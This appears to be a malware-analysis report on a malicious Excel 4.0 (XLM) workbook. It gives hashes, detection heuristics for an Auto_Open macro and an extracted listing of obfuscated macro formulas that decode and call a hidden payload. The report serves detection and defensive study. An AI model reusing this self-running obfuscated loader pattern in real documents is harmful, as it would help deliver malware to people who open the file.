Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9c7d0e6ecea71de…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:42 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 4cf58fd6fb031d2a311188a2e649bc46 SHA-1: eb81700034081587c2afc1682b1cf93753556348 SHA-256: c9c7d0e6ecea71de2a75e5add66eca3ea2ab968a047d6fa239775cd1d814813a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6869 bytes
SHA-256: 18d9197489e6cd9aec686347441d30c753f899d458b466951311a4e21409f24e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LbagrvFOte
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G178 
' 0018     20 LABEL : Cell Value, String Constant - awMIK len=0 
' 0018     22 LABEL : Cell Value, String Constant - DvJjuKj len=0 
' 0018     21 LABEL : Cell Value, String Constant - EiRvAw len=0 
' 0018     26 LABEL : Cell Value, String Constant - HBLwVCauBzw len=0 
' 0018     22 LABEL : Cell Value, String Constant - iniDJtK len=0 
' 0018     22 LABEL : Cell Value, String Constant - JhkDGGN len=0 
' 0018     22 LABEL : Cell Value, String Constant - LpClVln len=0 
' 0018     27 LABEL : Cell Value, String Constant - LTVmOIzRqDjm len=0 
' 0018     21 LABEL : Cell Value, String Constant - mEzVuU len=0 
' 0018     20 LABEL : Cell Value, String Constant - MHgQP len=0 
' 0018     25 LABEL : Cell Value, String Constant - mMwoSbOkbc len=0 
' 0018     22 LABEL : Cell Value, String Constant - MywyJyy len=0 
' 0018     24 LABEL : Cell Value, String Constant - mZitSwIEu len=0 
' 0018     21 LABEL : Cell Value, String Constant - NRMFkA len=0 
' 0018     25 LABEL : Cell Value, String Constant - ODuCgDJWWB len=0 
' 0018     22 LABEL : Cell Value, String Constant - OZBmRqz len=0 
' 0018     20 LABEL : Cell Value, String Constant - QnUFl len=0 
' 0018     26 LABEL : Cell Value, String Constant - qOPklIHMcfv len=0 
' 0018     25 LABEL : Cell Value, String Constant - TqvZqAJEpe len=0 
' 0018     23 LABEL : Cell Value, String Constant - wOhBEzLZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LbagrvFOte,P81,"",-515.00000000000000000000
'  LbagrvFOte,P82,"",913.00000000000000000000
'  LbagrvFOte,P83,"",954.00000000000000000000
'  LbagrvFOte,P84,"",915.00000000000000000000
'  LbagrvFOte,P85,"",30.00000000000000000000
'  LbagrvFOte,P86,"",-47.00000000000000000000
'  LbagrvFOte,G89,"SET.NAME("qOPklIHMcfv",0+VALUE("0"))",""
'  LbagrvFOte,G92,"SET.NAME("mZitSwIEu",qOPklIHMcfv)",""
'  LbagrvFOte,G95,"SET.NAME("ODuCgDJWWB",qOPklIHMcfv)",""
'  LbagrvFOte,G99,"SET.NAME("awMIK",COUNTA(mMwoSbOkbc))",""
'  LbagrvFOte,G101,"SET.NAME("QnUFl",COUNTA(JhkDGGN))",""
'  LbagrvFOte,G103,[],""
'  LbagrvFOte,G105,"SET.NAME("TqvZqAJEpe","")",""
'  LbagrvFOte,G107,"mZitSwIEu",""
'  LbagrvFOte,G110,"SET.NAME("OZBmRqz",HLOOKUP("*",mMwoSbOkbc,mZitSwIEu,FALSE))",""
'  LbagrvFOte,G115,"MHgQP",""
'  LbagrvFOte,G118,"SET.NAME("mEzVuU",qOPklIHMcfv)",""
'  LbagrvFOte,G121,[],""
'  LbagrvFOte,G126,"mEzVuU",""
'  LbagrvFOte,G128,"MywyJyy",""
'  LbagrvFOte,G132,"iniDJtK",""
'  LbagrvFOte,G135,"EiRvAw",""
'  LbagrvFOte,G139,"SET.NAME("LpClVln",VALUE(HLOOKUP("*",JhkDGGN,EiRvAw,FALSE)))",""
'  LbagrvFOte,G143,"wOhBEzLZ",""
'  LbagrvFOte,G145,"TqvZqAJEpe",""
'  LbagrvFOte,G149,"ODuCgDJWWB",""
'  LbagrvFOte,G154,NEXT(),""
'  LbagrvFOte,G159,"LTVmOIzRqDjm",""
'  LbagrvFOte,G164,[],""
'  LbagrvFOte,G168,"HBLwVCauBzw",""
'  LbagrvFOte,G171,NEXT(),""
'  LbagrvFOte,G173,RETURN(),""
'  LbagrvFOte,G200,"SET.NAME("NRMFkA",G89)",""
'  LbagrvFOte,G202,"mMwoSbOkbc",""
'  LbagrvFOte,G205,"SET.NAME("JhkDGGN",R87C13)",""
'  LbagrvFOte,G208,"SET.NAME("HBLwVCauBzw",215)",""
'  LbagrvFOte,G212,"SET.NAME("DvJjuKj",7)",""
'  LbagrvFOte,G214,NRMFkA(),""
'  LbagrvFOte,G215,HALT(),""